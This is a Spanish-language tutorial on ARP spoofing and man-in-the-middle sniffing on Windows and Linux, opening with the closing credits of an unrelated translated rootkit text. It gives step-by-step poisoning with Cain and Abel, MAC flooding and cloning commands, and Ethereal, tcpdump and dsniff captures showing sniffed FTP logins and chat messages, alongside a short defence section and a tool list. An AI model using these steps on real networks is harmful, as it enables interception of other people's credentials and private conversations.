http://hxdef.czweb.org (http://rootkit.host.sk.)

(Saludos del traductor:
holy_father-> he aprendido muchas cosas te lo agradezco :D
salu2 a Ale(spiderxd en hotmail.com)
muxos besos Elenikkita :*** te kero & TF !!! :)

===================================[ Fin ]======================================

ARP Spoofing definicion, ataque y defensa Windows y Linux.

------------------------
Intro
----------------------------------

Este es un pequeño tutorial sobre ARP spoofing en Windows y Linux.
No es el mas completo pero contiene lo necesario para empezar.

------------------------
Que es ARP Spoofing?
----------------------------------

ARP spoofing es un metodo en la que se explota la interacion de la IP y el protocolo de Ethernet.
Esto permite al atacante ver todo lo que tu computadora manda y recibe.

Un poco mas:
Cuando tu computadora manda informacion a una red, necesita una forma de encontrar su destinario, esto se logra en varias capaz dependiendo de que tan lejos tiene que viajar. En la primera capa, se encuentra la direccion MAC. La direccion MAC solo se usa para comunicar dentro de segmentos de la red local, la cual se llaman subnets. Una vez que pasa por el router o switch y pasa a otro subnet entra a la segunda capa. En esta capa se tiene que transformar el MAC porque la base de datos seria demasiado grande para poder procesar rapidamente ya que la direccion de MAC es un hex de 48bits. Para esto existen diferentes servicios como DNS (Domain Name Service), WINS (Windows Internet Naming Service), y la IP (Internet Protocol) que se encargan del manejo de data. Para facilitar la transmicion de esta infomacion se invento ARP (Address Resolution Protocol).
ARP se encarga de manejar la relacion entre el identificador MAC y la IP.

------------------------
Que pasa exactamente?
----------------------------------

Una computadora que esta conectada a una LAN Ethernet tiene dos direcciones, la MAC y la IP.
La direccion MAC (Media Access Control) es la direccion fisica de tu tarjeta de red, tambien conocido como NIC (Network Interface Card). Esta direccion es "unica" y esta guardada en la tarjeta.
La direccion MAC es necesaria ya que no se puede depender solamente de la IP para identificar a tu maquina en la red.
Por ejemplo, si dos computadoras en una red empezaran a usar la misma IP, estarian competitiendo por su data y la conexion no se podria mantener, es por eso que es necesaria.

La IP, como su nombre lo dice, es un protocolo que sirve para identificar a una computadora en el internet. Se podria decir que es unica por cada maquina pero "muchas maquinas pueden compartir IP si salen por proxy o gateway" (hkm) ah y claro, se puede spofear. Ethernet crea frames de data que tienen un header conteniendo tu direccion de MAC y la del destinario. Similarmente, la IP crea paquetes de data parecidas a las del Ethernet pero con diferente estructura. Para que se pueda mandar este paquete, tiene que pasar por el Data Link Library, en este caso vendria siendo el Ethernet. Ethernet divide los paquetes en frames, le agrega su header y los manda hasta que llega al switch. Cuando llega al switch, ella decide a que puerto mandar el frame, comparando la direccion destinataria del frame con la tabla interna la cual mapea puertos con direcciones de MAC.
Para que se pueda crear una frame de Ethernet, tiene que ser construido de un paquete de IP. Al momento en que se contruye el frame, no se sabe la direccion MAC que es necesaria para su header, solo tiene la direccion de IP del destinario conseguida por el IP header. Para obtener la direccion MAC de la maquina destinaria se manda un paquetes de Request Arp en modo broadcast. Esto basicamente le pregunta a toda las maquinas en la red si su direccion de IP es x.x.x.x y si lo es, la maquina le contesta con su MAC.
Para disminuir la cantidad de paquetes ARP Request que se mandan, el OS (Sistema Operativo) guarda una lista cache de ARP Replies, conocida como el Arp Table. Cuando una maquina recibe un ARP reply, actualiza su ARP Cache con la nueva IP/MAC.


------------------------
Aplicando la maciza
----------------------------------

Como dice el titulo, aqui es donde uno se aprovecha del ARP Table. Al mandar ARP Replies modificados a 'maquina A', engañas a la maquina que te mande los paquetes a ti(maquina C) envez de 'maquina B'. Para mantener la comunicacion entre las maquinas tienes que redireccionar los paquetes. Este tipo de ataque se le conoce como "Man in the middle" o "ARP Poisoning". Todo esto sucede sin que 'Maquina A' se de cuenta y se puede hacer facilmente con programas, si no es una weba.

COMPUTADORA A <---------><--------> COMPUTADORA B ~~~~~~ ANTES DEL ATAQUE

COMPUTADORA A <---------><-- COMPUTADORA C --><--------> COMPUTADAORA B ~~~~~~ DESPUES DEL ATAQUE

(espero que se entienda esto)


- 'Maquina C' envenena el ARP CACHE de 'Maquina A y C'
- 'Maquina A' associa la IP de 'Maquina B' con la MAC de 'Maquina C'
- 'Maquina B' associa la IP de 'Maquina A' con la MAC de 'Maquina C'
- Todo el trafico de 'Maquina A y B' pasara por 'Maquina C' primero envez de llegarle a ellos directamente, luego 'Maquina C' redireccionara el trafico a la maquina correspondiente.

Es importante reconocer que no solo la tarjeta de red tiene direccion MAC, es usado para cualquier aparato de red como routers, modems, impresoras y switches lo usan.
Para esto, no solo computadoras pueden ser envenenados, si no routers/gateways igual. En otras palabras, puedes hacer ARP Poisoning a una computadora y a un router, asi interceptando toda la informacion que sale y entra al internet de esa computadora. Ten en mente que tienes que activar una funcion del sistema operativo que se llama IP forwarding, algunos programas pueden hacer eso por ti, si no lo puedes hacer tu modificando el registro.

1.- Abre Regedit (Start/Run/Regedit)

2.- Agrega esto: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

3. Pon este valor en el registro: Value Name: IPEnableRouter
Value type: REG_DWORD
Value Data: 1

El valor 1 activa el TCP/IP forwarding en toda las conexiones de red instaladas en la maquina.

4.- Ya chingaste!


------------------------
MAC Flooding
----------------------------------

MAC Flooding solo es necesario cuando andan detras de un switch. La diferencia de un HUB y un switch es la manera en que controlan los paquetes. Un switch es mas inteligente y guarda la localizacion de donde esta conectado cada dispositivo. Asi no se permite que intercepten la conexion. Pero, como todo, hay una forma de pasarlo. Al mandar varios spoofed ARP Replies al ARP Table del switch, el switch entra a "hub" mode. Esto pasa porque le haces flood a su ARP Table y se llena, el switch queda muy ocupado para poder checar la localizacion de cada paquete y cambia a modo hub. Un buen programa para esto en *nix es Parasite. Parasite busca ARP Requests en una LAN y automaticamente manda spoofed ARP Replies. Esto logra un Man in the Middle en una switch. Parasite no limpia bien su desmadre cuando deja de correr, causando un ataque DoS (Denial of Service) en su maquina. Esto pasa porque su ARP Cache esta apuntando a una MAC que ya no esta redireccionando sus frames. Entradas ARP deberan expirar antes de poder continuar.


------------------------
Cloning
----------------------------------

Para cambiar tu MAC Address en Linux se requieren solo dos comandos en la consola.

ifconfig eth0 down hw ether 00:00:00:00:00:01

ifconfig eth0 up

o tambien podrias bajar un programa como "MAC Changer" aunque no lo veo necesario.

----------------------------------

En Windows es mas complicado como suele ser con varias cosas de configurabilidad.
Se puede hacer de dos maneras tambien.

La primera como podrias haber adivinado es moviendole al registro.
Toda la informacion de tus NICs se encuentran en:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}pero no ire a mas detalle ya que hkm tiene un buen texto sobre esto (http://hakim.ws/textos/MACSpoofing.txt).

La segunda manera vendria siendo con un programa
Ya sea SMAC o Etherchange aunque recomiendo Etherchange.


------------------------
Defensa
----------------------------------

Como ARP Cache Poisoning es el resultado de una falta de seguridad en el protocolo requerido para que el TCP/IP funcione, no hay forma de arreglarlo pero existen metodos para prevenirlo.

1.- Puedes usar direcciones de IP y ARP Tables fijas. Usando ipconfig /all en la consola de Windows o ifconfig en la de 'NIX, puedes ver la direccion de MAC e IP de cada dispositivo en la red. Luego usando arp -s puedes agregar una entrada fija ARP para todo tus dispositivos conocidos. Aunque, entradas fijas de ARP son dificiles de mantener en redes grandes. Eso es porque cada dispositivo tendria que se agregado manualmente a la ARP Table. Ejemplo: arp -s 10.0.0.80 00-AA-00-4F-2A-9C

2.- Puedes configurar una opcion que se llama "Port Security" tambien conocido como "Port Binding" o "Mac Binding" en tu switch que permite que solo una direccion de MAC sea asignada por cada puerto fisico en el switch. Esto previene al atacante mapear su MAC Address con un dispositivo de la red.

3.- Existen programas que analizan los paquetes ARP y te avisa si hay actividad rara. Uno es ARPWatch que es para *nix, puedes encontrar su link bajo "Tools".


------------------------
Ejemplos
----------------------------------
Bueno, mostrare unos ejemplos haciendo esto en Windows y Linux.

Windows
--------
Primer paso fue abrir Cain and Abel, de aqui hice click en Sniffer, y esto busco todo los dipositovos en la red.

IP address MAC address OUI fingerprint

192.168.1.102 0001E6900069 Hewlett-Packard Company
192.168.1.109 000625108A24 The Linksys Group, Inc.
192.168.1.1 001217CDA4B6 Cisco-Linksys, LLC
192.168.1.104 0030652BB823 APPLE COMPUTER, INC.
192.168.138.254 005056F3C76E VMWare, Inc.

Luego en el TAB inferior me voy a APR y le hago click a la cruz azul, esto me permite agregar 'Maquina A y B' para envenenar. Una vez que ya hayas agregado las dos maquinas, haz click en los primeros dos botones (El primero que es como un chip, este es para snifear, y el segundo, el simbolo de actividad nuclear que sirve para envenenar.

Status IP address MAC adress Packets -> <- Packets MAC address IP address
Poisoning 192.168.1.104 0030653BB823 2,268 2013 001217CDA4B6 192.168.1.1

Como pueden ver, he envenenado la conexion de la computadora Apple que esta corriendo Mac OS X y la de mi router.
De aqui le puedo hacer click en el tab inferior donde dice Passwords y me mostrara los passwords que ha snifeado.

Timestamp FTP Server Client Username Password
21/04/2005 - 01:58:10 63.19.24.66 192.168.1.104 userName yElPassword

Y asi de facil es ya que Ftp, Telnet, MSN, y otros protocolos no encriptan la informacion que manda y lo muestra en Plain Text. Ahora les enseñare de Etherreal, que igual snifea conexiones.
Lo abro, hago click en el primer boton y me aparece una ventana de opciones
Aqui escoges tu dispositivo en Interface, puedes agregar filtros para que busque ciertas palabras o cosas mientras snifea pero yo solo le hago click a Enable network name resolution y le doy a OK. Esto empieza a capturar todo tipo de paquetes. Despues de un ratito le doy stop y me muestra todo lo que capturo aunque en display options puedes poner la opcion que muestre los paquetes en tiempo real. De aqui me voy a File/EXport/"As Plan Text"
Al abrir el archivo que exporte veo todo tipo de cosas, como paginas que estan viendo, conversaciones de msn y un username y password para una cuenta de FTP.

File Transfer Protocol (FTP)
220---------- Welcome to Pure-FTPd [TLS] ----------\r\n
Response code: Service ready for new user (220)
Response arg: --------- Welcome to Pure-FTPd [TLS] ----------
220-You are user number 4 of 50 allowed.\r\n
220-Local time is now 16:50. Server port: 21.\r\n
220 You will be disconnected after 15 minutes of inactivity.\r\n

No. Time Source Destination Protocol Info
167 32.974860 192.168.1.104 host.com TCP 55678 > ftp [ACK] Seq=1 Ack=205 Win=33580 Len=0
File Transfer Protocol (FTP)
USER userName\r\n
Request command: USER
Request arg: userName

No. Time Source Destination Protocol Info
182 36.314851 host.com 192.168.1.104 TCP ftp > 55678 [ACK] Seq=205 Ack=15 Win=5840 Len=0

Frame 182 (54 bytes on wire, 54 bytes captured)


Checksum: 0x933d (correct)
File Transfer Protocol (FTP)
331 User userName OK. Password required\r\n
Response code: User name okay, need password (331)
Response arg: User userName OK. Password required

No. Time Source Destination Protocol Info
206 41.968925 192.168.1.104 host.com FTP Request: PASS yElPassword

File Transfer Protocol (FTP)
PASS yElPassword\r\n
Request command: PASS
Request arg: yElPassword

MSN Messenger Service
MSG 869 N 151\r\n
MIME-Version: 1.0\r\n
Content-Type: text/plain; charset=UTF-8\r\n
X-MMS-IM-Format: FN=Letter%20Gothic%20MT; EF=; CO=ff0000; CS=0; PF=32\r\n
\r\n
hoy la peda o que? <------------ Igual se ven convesaciones de MSN Messenger, esto se puede evitar
Con programas como SimpLite que encripta el mensaje antes de mandarlo, en Linux puedes usar algun messenger como Kopete que tiene un plugin para hacer esto. Solo funciona si la otra persona igual lo esta usando.

Linux
------
Este no sera tan extenso porque estoy sacando el ejemplo de un libro (HACKING the art of explotacion - Recomendado)

Primero es necesario entrar a modo promiscuo, en Windows igual haces esto pero los programas lo hacen automaticamente.

consola$ ifconfig eht0
BROADCAST MULTICAST MTU:1500 Metric:1

consola$ ifconfig eth0 promisc
consola$ ifconfig eth0
BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
consola$ tcpdump -l -X 'ip host 192.168.1.104'
tcpdump: listining on eth0
y mostrara el dump de todo capturado.

o mas facil...

consola$ dsniff -n
dsniff: listening on eth0
-----------------

12/10/02 21:43:21 tcp 192.168.1.104.32782 -> 192.168.0.118.21 (ftp)
USER leech
PASS l8@nite

-----------------

12/10/02 21:43:21 tcp 192.168.1.104.32785 -> 192.168.0.118.23 (telnet)
USER root
PASS 5eCr3t


------------------------
Tools
----------------------------------

http://neworder.box.sk/codebox.links.php?key=sniff&txt=Sniffers --- Aqui podras encontrar la mayoria de programas referentes a sniffing (*nix/Windows)

http://web.syr.edu/~sabuer/arpoison/ --- ARPoison .. crea spoofed ARP Replies permitiendote especificar direcciones IP/MAC (*nix)

http://www.securityfocus.com/tools/142 --- ARPwatch .. Monitorea paquetes ARP (*nix)

http://oxid.it --- Cain and Abel .. Programa muy util (Windows)

http://www.monkey.org/~dugsong/dsniff/ --- Dsniff - Coleccion de programas utiles (*nix)

http://ntsecurity.nu/toolbox/etherchange/ --- Etherchange .. Cambia direccion MAC (Windows)

http://www.ethereal.com/download.html --- Ethereal .. Snifea conexion (Windows)

http://ettercap.sourceforge.net/ --- Ettercap .. Hace varias cosas utiles (*nix)

http://www.atstake.com/products/lc/ --- LC5 .. Programa muy util (Windows)

http://www.alobbs.com/modules.php?op=modload&name=macc&file=index - Mac Changer .. Nombre dice todo (*nix)

http://www.packetfactory.net/projects/nemesis/ --- Nemesis - Packet Injector (*nix/Windows)

http://www.thehackerschoice.com/realease.php --- Parasite .. Util para switches (*nix)

http://www.secway.fr/products/simplite_msn/download.php? --- SimpLite .. Encripta mensajes de messenger (Windows)

http://www.klcconsulting.net/smac/ --- SMAC .. Cambiar MAC (Windows)

http://www.tcpdump.org/ --- Tcpdump .. Nombrelo dice (*nix)

http://www.nextsecurity.net/ --- WinArpSpoof .. Nombre lo dice (Windows)

*LC5 y Cain and Abel son recuperadores de passwords que traen la opcion de snifear.

------------------------
Referencias
----------------------------------

http://node99.org/projects/arpspoof/arpspoof.pdf

http://www.governmentsecurity.org/articles/TheIngredientstoARPPoison.php


------------------------
FINAL
----------------------------------

LightOS - http://www.suckea.com/lightos/
LightOS@gmail.com - Por cualquier cosa.
--